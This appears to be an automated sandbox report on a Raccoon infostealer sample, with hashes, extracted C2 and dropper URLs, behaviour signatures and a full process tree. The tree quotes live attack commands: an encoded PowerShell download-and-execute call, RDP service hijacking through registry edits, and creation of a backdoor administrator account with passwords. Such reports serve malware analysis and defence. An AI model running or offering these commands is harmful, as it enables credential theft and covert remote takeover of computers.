Analysis

  • max time kernel
    59s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-06-2021 22:02

General

  • Target

    c36d9bc4f9569bf91605097139297c0b.exe

  • Size

    569KB

  • MD5

    c36d9bc4f9569bf91605097139297c0b

  • SHA1

    b542a1f9fc55299c79ec87f7454e3fcd092718db

  • SHA256

    3fb2264cea79f2a81e87bb20db95fd812a32fd8cd3feff546c280ecd7911be0c

  • SHA512

    b9817eeeda058f3937fb6af8ff21a9854d22096326ff0163e6dd8fd553634a6c84c9a9cf15dbdcba185f83c22931d47602c7db275d5b1d5cf6aaa35d34b9a518

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes
  • url4cnc

    https://tttttt.me/jdiamond13

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe
    "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Users\Admin\AppData\Local\Temp\m8JGVVlGJ5.exe
      "C:\Users\Admin\AppData\Local\Temp\m8JGVVlGJ5.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2480
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\24qws0xw\24qws0xw.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES479E.tmp" "c:\Users\Admin\AppData\Local\Temp\24qws0xw\CSC616FB225DFC9443F8D4CB3CACA1051B1.TMP"
            5⤵
              PID:2120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2144
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:732
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3312
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:396
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3932
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:736
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:740
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3408
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2444
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3312
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2816
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:4008
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3208
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1804
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4004
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3896
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:5036
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:5052
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c36d9bc4f9569bf91605097139297c0b.exe"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:208
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        3⤵
                        • Delays execution with timeout.exe
                        PID:3896
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3692
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:204
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:4112
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc uLUVPa8i /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4132
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc uLUVPa8i /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4176
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc uLUVPa8i /add
                          3⤵
                            PID:4196
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4216
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4256
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:4276
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4296
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4336
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:4356
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4376
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                                PID:4416
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                  3⤵
                                    PID:4436
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user wgautilacc uLUVPa8i
                                1⤵
                                  PID:4456
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc uLUVPa8i
                                    2⤵
                                      PID:4496
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc uLUVPa8i
                                        3⤵
                                          PID:4516
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:4544
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                            PID:4604
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C wmic CPU get NAME
                                          1⤵
                                            PID:4640
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic CPU get NAME
                                              2⤵
                                              • Modifies data under HKEY_USERS
                                              PID:4680
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            1⤵
                                              PID:4716
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                2⤵
                                                  PID:4756
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    3⤵
                                                    • Blocklisted process makes network request
                                                    • Drops file in Program Files directory
                                                    • Drops file in Windows directory
                                                    • Modifies data under HKEY_USERS
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4772
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C net user wgautilacc 1234
                                                1⤵
                                                  PID:4924
                                                  • C:\Windows\system32\net.exe
                                                    net user wgautilacc 1234
                                                    2⤵
                                                      PID:4964
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 user wgautilacc 1234
                                                        3⤵
                                                          PID:4984

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/352-131-0x000001BFD3425000-0x000001BFD3426000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/352-132-0x000001BFD3426000-0x000001BFD3427000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/352-129-0x000001BFD3420000-0x000001BFD3422000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/352-130-0x000001BFD3423000-0x000001BFD3425000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/352-127-0x000001BFEBF80000-0x000001BFEC3A1000-memory.dmp

                                                      Filesize

                                                      4.1MB

                                                    • memory/732-217-0x000002CFEDDF6000-0x000002CFEDDF8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/732-215-0x000002CFEDDF3000-0x000002CFEDDF5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/732-214-0x000002CFEDDF0000-0x000002CFEDDF2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/732-218-0x000002CFEDDF8000-0x000002CFEDDFA000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2144-187-0x0000016DD68A6000-0x0000016DD68A8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2144-181-0x0000016DD68A0000-0x0000016DD68A2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2144-182-0x0000016DD68A3000-0x0000016DD68A5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2144-213-0x0000016DD68A8000-0x0000016DD68AA000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2204-114-0x0000000002030000-0x00000000020C1000-memory.dmp

                                                      Filesize

                                                      580KB

                                                    • memory/2204-115-0x0000000000400000-0x0000000000496000-memory.dmp

                                                      Filesize

                                                      600KB

                                                    • memory/2480-164-0x0000025769790000-0x0000025769791000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2480-165-0x0000025769B20000-0x0000025769B21000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2480-142-0x0000025769070000-0x0000025769072000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2480-158-0x0000025769076000-0x0000025769078000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2480-157-0x0000025768B00000-0x0000025768B01000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2480-223-0x0000025769078000-0x0000025769079000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2480-138-0x0000025768AC0000-0x0000025768AC1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2480-143-0x0000025769073000-0x0000025769075000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2480-141-0x0000025769180000-0x0000025769181000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3312-222-0x0000023558F68000-0x0000023558F6A000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3312-220-0x0000023558F63000-0x0000023558F65000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3312-219-0x0000023558F60000-0x0000023558F62000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3312-221-0x0000023558F66000-0x0000023558F68000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4772-255-0x000002CA611E0000-0x000002CA611E2000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4772-256-0x000002CA611E3000-0x000002CA611E5000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4772-257-0x000002CA611E6000-0x000002CA611E8000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4772-258-0x000002CA611E8000-0x000002CA611E9000-memory.dmp

                                                      Filesize

                                                      4KB